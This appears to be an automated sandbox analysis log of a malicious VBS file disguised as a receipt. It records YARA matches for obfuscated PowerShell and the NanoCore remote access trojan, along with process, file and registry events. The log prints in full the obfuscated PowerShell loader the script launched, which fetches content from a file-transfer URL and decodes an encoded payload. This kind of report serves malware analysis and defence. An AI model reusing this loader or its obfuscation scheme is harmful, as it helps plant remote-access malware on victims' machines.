Source: 00000004.00000002.403054021.000001EE01671000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415688123.000002BCBB6AE000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415938547.000002BCBB6CC000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.414286763.000002BCBB6AA000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.417503802.000002BCBB845000.00000004.00000040.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413965340.000002BCBB6A3000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415657190.000002BCBB6AB000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413277517.000002BCBB698000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.417770750.000002BCBD040000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.413195410.000002BCBB695000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000002.415530090.000002BCBB699000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000001.00000003.414356002.000002BCBB6AD000.00000004.00000001.sdmp, type: MEMORYMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmp, type: MEMORYMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: aspnet_compiler.exe PID: 3112, type: MEMORYSTRMatched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: C:\Users\Public\Run\New.vbs, type: DROPPEDMatched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
Source: 7-Items-receipt.vbsInitial sample: Strings found which are bigger than 50
Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs'
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20210914Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkx43apt.wcr.ps1Jump to behavior
Source: classification engineClassification label: mal100.troj.evad.winVBS@8/10@30/3
Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dllJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeMutant created: \Sessions\1\BaseNamedObjects\Global\{401b59fa-a7f2-4468-a03b-04e3bc489e18}
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_01
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts<